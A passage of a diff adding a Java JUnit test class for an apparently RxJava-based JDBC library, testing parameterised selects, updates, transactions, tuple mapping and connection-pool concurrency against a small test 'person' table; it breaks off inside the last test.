+import io.reactivex.Single;
+import io.reactivex.functions.Predicate;
+import io.reactivex.schedulers.Schedulers;
+import io.reactivex.schedulers.TestScheduler;
+import io.reactivex.subscribers.TestSubscriber;
+
+@FixMethodOrder(MethodSorters.NAME_ASCENDING)
+public class DatabaseTest {
+
+    private static final long FRED_REGISTERED_TIME = 1442515672690L;
+    private static final int NAMES_COUNT_BIG = 5163;
+    private static final Logger log = LoggerFactory.getLogger(DatabaseTest.class);
+    private static final int TIMEOUT_SECONDS = 2;
+
+    private static Database db() {
+        return DatabaseCreator.create(1);
+    }
+
+    private static Database blocking() {
+        return DatabaseCreator.createBlocking();
+    }
+
+    private static Database db(int poolSize) {
+        return DatabaseCreator.create(poolSize);
+    }
+
+    private static Database big(int poolSize) {
+        return DatabaseCreator.create(poolSize, true, Schedulers.computation());
+    }
+
+    @Test
+    public void testSelectUsingQuestionMark() {
+        try (Database db = db()) {
+            db.select("select score from person where name=?") //
+                    .parameters("FRED", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingNamedParameterList() {
+        try (Database db = db()) {
+            db.select("select score from person where name=:name") //
+                    .parameters(Parameter.named("name", "FRED").value("JOSEPH").list()) //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingQuestionMarkFlowableParameters() {
+        try (Database db = db()) {
+            db.select("select score from person where name=?") //
+                    .parameterStream(Flowable.just("FRED", "JOSEPH")) //
+                    .getAs(Integer.class) //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingQuestionMarkFlowableParametersInLists() {
+        try (Database db = db()) {
+            db.select("select score from person where name=?") //
+                    .parameterListStream(
+                            Flowable.just(Arrays.asList("FRED"), Arrays.asList("JOSEPH"))) //
+                    .getAs(Integer.class) //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testDrivingSelectWithoutParametersUsingParameterStream() {
+        try (Database db = db()) {
+            db.select("select count(*) from person") //
+                    .parameters(1, 2, 3) //
+                    .getAs(Integer.class) //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValues(3, 3, 3) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingQuestionMarkFlowableParametersTwoParametersPerQuery() {
+        try (Database db = db()) {
+            db.select("select score from person where name=? and score = ?") //
+                    .parameterStream(Flowable.just("FRED", 21, "JOSEPH", 34)) //
+                    .getAs(Integer.class) //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingQuestionMarkFlowableParameterListsTwoParametersPerQuery() {
+        try (Database db = db()) {
+            db.select("select score from person where name=? and score = ?") //
+                    .parameterListStream(
+                            Flowable.just(Arrays.asList("FRED", 21), Arrays.asList("JOSEPH", 34))) //
+                    .getAs(Integer.class) //
+                    .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingQuestionMarkWithPublicTestingDatabase() {
+        try (Database db = Database.test()) {
+            db //
+                    .select("select score from person where name=?") //
+                    .parameters("FRED", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectWithFetchSize() {
+        try (Database db = db()) {
+            db.select("select score from person order by name") //
+                    .fetchSize(2) //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34, 25) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectWithFetchSizeZero() {
+        try (Database db = db()) {
+            db.select("select score from person order by name") //
+                    .fetchSize(0) //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34, 25) //
+                    .assertComplete();
+        }
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testSelectWithFetchSizeNegative() {
+        try (Database db = db()) {
+            db.select("select score from person order by name") //
+                    .fetchSize(-1);
+        }
+    }
+
+    @Test
+    public void testSelectUsingNonBlockingBuilder() {
+        NonBlockingConnectionPool pool = Pools //
+                .nonBlocking() //
+                .connectionProvider(DatabaseCreator.connectionProvider()) //
+                .maxIdleTime(1, TimeUnit.MINUTES) //
+                .idleTimeBeforeHealthCheck(1, TimeUnit.MINUTES) //
+                .checkoutRetryInterval(1, TimeUnit.SECONDS) //
+                .healthy(c -> c.prepareStatement("select 1").execute()) //
+                .returnToPoolDelayAfterHealthCheckFailure(1, TimeUnit.SECONDS) //
+                .maxPoolSize(3) //
+                .build();
+
+        try (Database db = Database.from(pool)) {
+            db.select("select score from person where name=?") //
+                    .parameters("FRED", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test(timeout = 40000)
+    public void testSelectUsingNonBlockingBuilderConcurrencyTest()
+            throws InterruptedException, TimeoutException {
+        info();
+        try {
+            try (Database db = db(3)) {
+                Scheduler scheduler = Schedulers.from(Executors.newFixedThreadPool(50));
+                int n = 10000;
+                CountDownLatch latch = new CountDownLatch(n);
+                AtomicInteger count = new AtomicInteger();
+                for (int i = 0; i < n; i++) {
+                    db.select("select score from person where name=?") //
+                            .parameters("FRED", "JOSEPH") //
+                            .getAs(Integer.class) //
+                            .subscribeOn(scheduler) //
+                            .toList() //
+                            .doOnSuccess(x -> {
+                                if (!x.equals(Lists.newArrayList(21, 34))) {
+                                    throw new RuntimeException("run broken");
+                                } else {
+                                    // System.out.println(iCopy + " succeeded");
+                                }
+                            }) //
+                            .doOnSuccess(x -> {
+                                count.incrementAndGet();
+                                latch.countDown();
+                            }) //
+                            .doOnError(x -> latch.countDown()) //
+                            .subscribe();
+                }
+                if (!latch.await(20, TimeUnit.SECONDS)) {
+                    throw new TimeoutException("timeout");
+                }
+                assertEquals(n, count.get());
+            }
+        } finally {
+            debug();
+        }
+    }
+
+    @Test(timeout = 5000)
+    public void testSelectConcurrencyTest() throws InterruptedException, TimeoutException {
+        debug();
+        try {
+            try (Database db = db(1)) {
+                Scheduler scheduler = Schedulers.from(Executors.newFixedThreadPool(2));
+                int n = 2;
+                CountDownLatch latch = new CountDownLatch(n);
+                AtomicInteger count = new AtomicInteger();
+                for (int i = 0; i < n; i++) {
+                    db.select("select score from person where name=?") //
+                            .parameters("FRED", "JOSEPH") //
+                            .getAs(Integer.class) //
+                            .subscribeOn(scheduler) //
+                            .toList() //
+                            .doOnSuccess(x -> {
+                                if (!x.equals(Lists.newArrayList(21, 34))) {
+                                    throw new RuntimeException("run broken");
+                                }
+                            }) //
+                            .doOnSuccess(x -> {
+                                count.incrementAndGet();
+                                latch.countDown();
+                            }) //
+                            .doOnError(x -> latch.countDown()) //
+                            .subscribe();
+                    log.info("submitted " + i);
+                }
+                if (!latch.await(5000, TimeUnit.SECONDS)) {
+                    throw new TimeoutException("timeout");
+                }
+                assertEquals(n, count.get());
+            }
+        } finally {
+            debug();
+        }
+    }
+
+    @Test
+    public void testDatabaseClose() {
+        try (Database db = db()) {
+            db.select("select score from person where name=?") //
+                    .parameters("FRED", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingName() {
+        try (Database db = db()) {
+            db //
+                    .select("select score from person where name=:name") //
+                    .parameter("name", "FRED") //
+                    .parameter("name", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValues(21, 34) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testSelectUsingNameNotGiven() {
+        try (Database db = db()) {
+            db //
+                    .select("select score from person where name=:name and name<>:name2") //
+                    .parameter("name", "FRED") //
+                    .parameter("name", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertError(NamedParameterMissingException.class) //
+                    .assertNoValues();
+        }
+    }
+
+    @Test
+    public void testSelectUsingParameterNameNullNameWhenSqlHasNoNames() {
+        db() //
+                .select("select score from person where name=?") //
+                .parameter(Parameter.create("name", "FRED")) //
+                .getAs(Integer.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertError(NamedParameterFoundButSqlDoesNotHaveNamesException.class) //
+                .assertNoValues();
+    }
+
+    @Test
+    public void testUpdateWithNull() {
+        try (Database db = db()) {
+            db //
+                    .update("update person set date_of_birth = :dob") //
+                    .parameter(Parameter.create("dob", null)) //
+                    .counts() //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(3) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testUpdateClobWithNull() {
+        try (Database db = db()) {
+            insertNullClob(db);
+            db //
+                    .update("update person_clob set document = :doc") //
+                    .parameter("doc", Database.NULL_CLOB) //
+                    .counts() //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(1) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testUpdateClobWithClob() throws SQLException {
+        try (Database db = db()) {
+            Clob clob = new JDBCClobFile(new File("src/test/resources/big.txt"));
+            insertNullClob(db);
+            db //
+                    .update("update person_clob set document = :doc") //
+                    .parameter("doc", clob) //
+                    .counts() //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(1) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testUpdateClobWithReader() throws FileNotFoundException {
+        try (Database db = db()) {
+            Reader reader = new FileReader(new File("src/test/resources/big.txt"));
+            insertNullClob(db);
+            db //
+                    .update("update person_clob set document = :doc") //
+                    .parameter("doc", reader) //
+                    .counts() //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(1) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testUpdateBlobWithBlob() throws SQLException {
+        try (Database db = db()) {
+        Blob blob = new JDBCBlobFile(new File("src/test/resources/big.txt"));
+        insertPersonBlob(db);
+        db //
+                .update("update person_blob set document = :doc") //
+                .parameter("doc", blob) //
+                .counts() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+        }
+    }
+
+    @Test
+    public void testUpdateBlobWithNull() {
+        Database db = db();
+        insertPersonBlob(db);
+        db //
+                .update("update person_blob set document = :doc") //
+                .parameter("doc", Database.NULL_BLOB) //
+                .counts() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testSelectUsingNullNameInParameter() {
+        db() //
+                .select("select score from person where name=:name") //
+                .parameter(null, "FRED"); //
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testSelectUsingNameDoesNotExist() {
+        db() //
+                .select("select score from person where name=:name") //
+                .parameters("nam", "FRED");
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testSelectUsingNameWithoutSpecifyingNameThrowsImmediately() {
+        db() //
+                .select("select score from person where name=:name") //
+                .parameters("FRED", "JOSEPH");
+    }
+
+    @Test
+    public void testSelectTransacted() {
+        System.out.println("testSelectTransacted");
+        db() //
+                .select("select score from person where name=?") //
+                .parameters("FRED", "JOSEPH") //
+                .transacted() //
+                .getAs(Integer.class) //
+                .doOnNext(tx -> System.out.println(tx.isComplete() ? "complete" : tx.value())) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectAutomappedAnnotatedTransacted() {
+        db() //
+                .select(Person10.class) //
+                .transacted() //
+                .valuesOnly() //
+                .get().test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectAutomappedTransactedValuesOnly() {
+        db() //
+                .select("select name, score from person") //
+                .transacted() //
+                .valuesOnly() //
+                .autoMap(Person2.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectAutomappedTransacted() {
+        db() //
+                .select("select name, score from person") //
+                .transacted() //
+                .autoMap(Person2.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(4) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectTransactedTuple2() {
+        Tx<Tuple2<String, Integer>> t = db() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED") //
+                .transacted() //
+                .getAs(String.class, Integer.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(2) //
+                .assertComplete() //
+                .values().get(0);
+        assertEquals("FRED", t.value()._1());
+        assertEquals(21, (int) t.value()._2());
+    }
+
+    @Test
+    public void testSelectTransactedTuple3() {
+        Tx<Tuple3<String, Integer, String>> t = db() //
+                .select("select name, score, name from person where name=?") //
+                .parameters("FRED") //
+                .transacted() //
+                .getAs(String.class, Integer.class, String.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(2) //
+                .assertComplete() //
+                .values().get(0);
+        assertEquals("FRED", t.value()._1());
+        assertEquals(21, (int) t.value()._2());
+        assertEquals("FRED", t.value()._3());
+    }
+
+    @Test
+    public void testSelectTransactedTuple4() {
+        Tx<Tuple4<String, Integer, String, Integer>> t = db() //
+                .select("select name, score, name, score from person where name=?") //
+                .parameters("FRED") //
+                .transacted() //
+                .getAs(String.class, Integer.class, String.class, Integer.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(2) //
+                .assertComplete() //
+                .values().get(0);
+        assertEquals("FRED", t.value()._1());
+        assertEquals(21, (int) t.value()._2());
+        assertEquals("FRED", t.value()._3());
+        assertEquals(21, (int) t.value()._4());
+    }
+
+    @Test
+    public void testSelectTransactedTuple5() {
+        Tx<Tuple5<String, Integer, String, Integer, String>> t = db() //
+                .select("select name, score, name, score, name from person where name=?") //
+                .parameters("FRED") //
+                .transacted() //
+                .getAs(String.class, Integer.class, String.class, Integer.class, String.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(2) //
+                .assertComplete() //
+                .values().get(0);
+        assertEquals("FRED", t.value()._1());
+        assertEquals(21, (int) t.value()._2());
+        assertEquals("FRED", t.value()._3());
+        assertEquals(21, (int) t.value()._4());
+        assertEquals("FRED", t.value()._5());
+    }
+
+    @Test
+    public void testSelectTransactedTuple6() {
+        Tx<Tuple6<String, Integer, String, Integer, String, Integer>> t = db() //
+                .select("select name, score, name, score, name, score from person where name=?") //
+                .parameters("FRED") //
+                .transacted() //
+                .getAs(String.class, Integer.class, String.class, Integer.class, String.class,
+                        Integer.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(2) //
+                .assertComplete() //
+                .values().get(0);
+        assertEquals("FRED", t.value()._1());
+        assertEquals(21, (int) t.value()._2());
+        assertEquals("FRED", t.value()._3());
+        assertEquals(21, (int) t.value()._4());
+        assertEquals("FRED", t.value()._5());
+        assertEquals(21, (int) t.value()._6());
+    }
+
+    @Test
+    public void testSelectTransactedTuple7() {
+        Tx<Tuple7<String, Integer, String, Integer, String, Integer, String>> t = db() //
+                .select("select name, score, name, score, name, score, name from person where name=?") //
+                .parameters("FRED") //
+                .transacted() //
+                .getAs(String.class, Integer.class, String.class, Integer.class, String.class,
+                        Integer.class, String.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(2) //
+                .assertComplete() //
+                .values().get(0);
+        assertEquals("FRED", t.value()._1());
+        assertEquals(21, (int) t.value()._2());
+        assertEquals("FRED", t.value()._3());
+        assertEquals(21, (int) t.value()._4());
+        assertEquals("FRED", t.value()._5());
+        assertEquals(21, (int) t.value()._6());
+        assertEquals("FRED", t.value()._7());
+    }
+
+    @Test
+    public void testSelectTransactedTupleN() {
+        List<Tx<TupleN<Object>>> list = db() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED") //
+                .transacted() //
+                .getTupleN() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(2) //
+                .assertComplete() //
+                .values();
+        assertEquals("FRED", list.get(0).value().values().get(0));
+        assertEquals(21, (int) list.get(0).value().values().get(1));
+        assertTrue(list.get(1).isComplete());
+        assertEquals(2, list.size());
+    }
+
+    @Test
+    public void testSelectTransactedCount() {
+        db() //
+                .select("select name, score, name, score, name, score, name from person where name=?") //
+                .parameters("FRED") //
+                .transacted() //
+                .count() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectTransactedGetAs() {
+        db() //
+                .select("select name from person") //
+                .transacted() //
+                .getAs(String.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(4) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectTransactedGetAsOptional() {
+        List<Tx<Optional<String>>> list = db() //
+                .select("select name from person where name=?") //
+                .parameters("FRED") //
+                .transacted() //
+                .getAsOptional(String.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(2) //
+                .assertComplete() //
+                .values();
+        assertTrue(list.get(0).isValue());
+        assertEquals("FRED", list.get(0).value().get());
+        assertTrue(list.get(1).isComplete());
+    }
+
+    @Test
+    public void testDatabaseFrom() {
+        Database.from(DatabaseCreator.nextUrl(), 3) //
+                .select("select name from person") //
+                .getAs(String.class) //
+                .count() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertError(JdbcSQLException.class);
+    }
+
+    @Test
+    public void testSelectTransactedChained() throws Exception {
+        Database db = db();
+        db //
+                .select("select score from person where name=?") //
+                .parameters("FRED", "JOSEPH") //
+                .transacted() //
+                .transactedValuesOnly() //
+                .getAs(Integer.class) //
+                .doOnNext(tx -> System.out.println(tx.isComplete() ? "complete" : tx.value()))//
+                .flatMap(tx -> tx //
+                        .select("select name from person where score = ?") //
+                        .parameter(tx.value()) //
+                        .valuesOnly() //
+                        .getAs(String.class)) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValues("FRED", "JOSEPH") //
+                .assertComplete();
+    }
+
+    @Test
+    public void databaseIsAutoCloseable() {
+        try (Database db = db()) {
+            log.debug(db.toString());
+        }
+    }
+
+    @Test
+    public void testSelectChained() {
+        System.out.println("testSelectChained");
+        // we can do this with 1 connection only!
+        Database db = db(1);
+        db.select("select score from person where name=?") //
+                .parameters("FRED", "JOSEPH") //
+                .getAs(Integer.class) //
+                .doOnNext(System.out::println) //
+                .concatMap(score -> {
+                    log.info("score={}", score);
+                    return db //
+                            .select("select name from person where score = ?") //
+                            .parameter(score) //
+                            .getAs(String.class) //
+                            .doOnComplete(() -> log.info("completed select where score=" + score));
+                }) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValues("FRED", "JOSEPH") //
+                .assertComplete(); //
+    }
+
+    @Test
+    @SuppressFBWarnings
+    public void testReadMeFragment1() {
+        Database db = Database.test();
+        db.select("select name from person") //
+                .getAs(String.class) //
+                .forEach(System.out::println);
+    }
+
+    @Test
+    public void testReadMeFragmentColumnDoesNotExistEmitsSqlSyntaxErrorException() {
+        Database db = Database.test();
+        db.select("select nam from person") //
+                .getAs(String.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoValues() //
+                .assertError(SQLSyntaxErrorException.class);
+    }
+
+    @Test
+    public void testReadMeFragmentDerbyHealthCheck() {
+        Database db = Database.test();
+        db.select("select 'a' from sysibm.sysdummy1") //
+                .getAs(String.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue("a") //
+                .assertComplete();
+    }
+
+    @Test
+    @SuppressFBWarnings
+    public void testTupleSupport() {
+        db().select("select name, score from person") //
+                .getAs(String.class, Integer.class) //
+                .forEach(System.out::println);
+    }
+
+    @Test
+    public void testDelayedCallsAreNonBlocking() throws InterruptedException {
+        List<String> list = new CopyOnWriteArrayList<String>();
+        Database db = db(1); //
+        db.select("select score from person where name=?") //
+                .parameter("FRED") //
+                .getAs(Integer.class) //
+                .doOnNext(x -> Thread.sleep(1000)) //
+                .subscribeOn(Schedulers.io()) //
+                .subscribe();
+        Thread.sleep(100);
+        CountDownLatch latch = new CountDownLatch(1);
+        db.select("select score from person where name=?") //
+                .parameter("FRED") //
+                .getAs(Integer.class) //
+                .doOnNext(x -> list.add("emitted")) //
+                .doOnNext(x -> System.out.println("emitted on " + Thread.currentThread().getName())) //
+                .doOnNext(x -> latch.countDown()) //
+                .subscribe();
+        list.add("subscribed");
+        assertTrue(latch.await(TIMEOUT_SECONDS, TimeUnit.SECONDS));
+        assertEquals(Arrays.asList("subscribed", "emitted"), list);
+    }
+
+    @Test
+    public void testAutoMapToInterface() {
+        db() //
+                .select("select name from person") //
+                .autoMap(Person.class) //
+                .map(p -> p.name()) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithoutAnnotationsEmitsError() {
+        db() //
+                .select("select name from person") //
+                .autoMap(PersonNoAnnotation.class) //
+                .map(p -> p.name()) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoValues() //
+                .assertError(AnnotationsNotFoundException.class);
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithTwoMethods() {
+        db() //
+                .select("select name, score from person order by name") //
+                .autoMap(Person2.class) //
+                .firstOrError() //
+                .map(Person2::score) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(21) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithExplicitColumnName() {
+        db() //
+                .select("select name, score from person order by name") //
+                .autoMap(Person3.class) //
+                .firstOrError() //
+                .map(Person3::examScore) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(21) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithExplicitColumnNameThatDoesNotExist() {
+        db() //
+                .select("select name, score from person order by name") //
+                .autoMap(Person4.class) //
+                .firstOrError() //
+                .map(Person4::examScore) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoValues() //
+                .assertError(ColumnNotFoundException.class);
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithIndex() {
+        db() //
+                .select("select name, score from person order by name") //
+                .autoMap(Person5.class) //
+                .firstOrError() //
+                .map(Person5::examScore) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(21) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithIndexTooLarge() {
+        db() //
+                .select("select name, score from person order by name") //
+                .autoMap(Person6.class) //
+                .firstOrError() //
+                .map(Person6::examScore) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoValues() //
+                .assertError(ColumnIndexOutOfRangeException.class);
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithIndexTooSmall() {
+        db() //
+                .select("select name, score from person order by name") //
+                .autoMap(Person7.class) //
+                .firstOrError() //
+                .map(Person7::examScore) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoValues() //
+                .assertError(ColumnIndexOutOfRangeException.class);
+    }
+
+    @Test
+    public void testAutoMapWithUnmappableColumnType() {
+        db() //
+                .select("select name from person order by name") //
+                .autoMap(Person8.class) //
+                .map(p -> p.name()) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoValues() //
+                .assertError(ClassCastException.class);
+    }
+
+    @Test
+    public void testAutoMapWithMixIndexAndName() {
+        db() //
+                .select("select name, score from person order by name") //
+                .autoMap(Person9.class) //
+                .firstOrError() //
+                .map(Person9::score) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(21) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testAutoMapWithQueryInAnnotation() {
+        db().select(Person10.class) //
+                .get() //
+                .firstOrError() //
+                .map(Person10::score) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(21) //
+                .assertComplete();
+    }
+
+    @Test
+    @Ignore
+    public void testAutoMapForReadMe() {
+        Database //
+                .test() //
+                .select(Person10.class) //
+                .get(Person10::name) //
+                .blockingForEach(System.out::println);
+    }
+
+    @Test(expected = QueryAnnotationMissingException.class)
+    public void testAutoMapWithoutQueryInAnnotation() {
+        db().select(Person.class);
+    }
+
+    @Test
+    public void testSelectWithoutWhereClause() {
+        Assert.assertEquals(3, (long) db().select("select name from person") //
+                .count() //
+                .blockingGet());
+    }
+
+    @Test
+    public void testTuple3() {
+        db() //
+                .select("select name, score, name from person order by name") //
+                .getAs(String.class, Integer.class, String.class) //
+                .firstOrError() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertComplete() //
+                .assertValue(Tuple3.create("FRED", 21, "FRED")); //
+    }
+
+    @Test
+    public void testTuple4() {
+        db() //
+                .select("select name, score, name, score from person order by name") //
+                .getAs(String.class, Integer.class, String.class, Integer.class) //
+                .firstOrError() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertComplete() //
+                .assertValue(Tuple4.create("FRED", 21, "FRED", 21)); //
+    }
+
+    @Test
+    public void testTuple5() {
+        db() //
+                .select("select name, score, name, score, name from person order by name") //
+                .getAs(String.class, Integer.class, String.class, Integer.class, String.class) //
+                .firstOrError() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertComplete().assertValue(Tuple5.create("FRED", 21, "FRED", 21, "FRED")); //
+    }
+
+    @Test
+    public void testTuple6() {
+        db() //
+                .select("select name, score, name, score, name, score from person order by name") //
+                .getAs(String.class, Integer.class, String.class, Integer.class, String.class,
+                        Integer.class) //
+                .firstOrError() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertComplete().assertValue(Tuple6.create("FRED", 21, "FRED", 21, "FRED", 21)); //
+    }
+
+    @Test
+    public void testTuple7() {
+        db() //
+                .select("select name, score, name, score, name, score, name from person order by name") //
+                .getAs(String.class, Integer.class, String.class, Integer.class, String.class,
+                        Integer.class, String.class) //
+                .firstOrError() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertComplete()
+                .assertValue(Tuple7.create("FRED", 21, "FRED", 21, "FRED", 21, "FRED")); //
+    }
+
+    @Test
+    public void testTupleN() {
+        db() //
+                .select("select name, score, name from person order by name") //
+                .getTupleN() //
+                .firstOrError().test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertComplete() //
